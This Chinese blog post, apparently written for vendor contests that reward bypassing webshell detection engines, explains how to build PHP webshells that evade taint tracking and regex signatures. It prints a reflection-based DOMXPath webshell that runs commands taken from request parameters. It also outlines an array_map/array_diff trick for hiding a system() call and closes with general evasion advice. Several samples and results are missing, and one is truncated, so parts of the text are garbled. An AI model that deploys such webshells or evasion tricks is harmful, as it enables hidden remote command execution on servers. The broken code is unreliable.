最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有ASRC的伏魔计划,也有TSRC的猎刃计划,还有最近正在进行的长亭的牧云(Aka.关山)Webshell检测引擎,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术:
1、词法分析2、污点追踪3、恶意代码检测
这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言)
0x02 传统Webshell检测传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本
1、经典一句话Webshell
2、反序列化Webshell
讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测
那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff()
这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令执行
结果如下:
这样就完成了最简单的一次bypass
样本2 We are the champions LemonPrefect H3h3QAQ XML;$doc = new DOMDocument;$doc->loadXML($xml);$clazz = (new ReflectionClass("DOMXPath"));$instance = $clazz->newInstance($doc);$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);$clazz->getMethod("registerPHPFunctions")->invoke($instance);$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE
结果如下:
在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。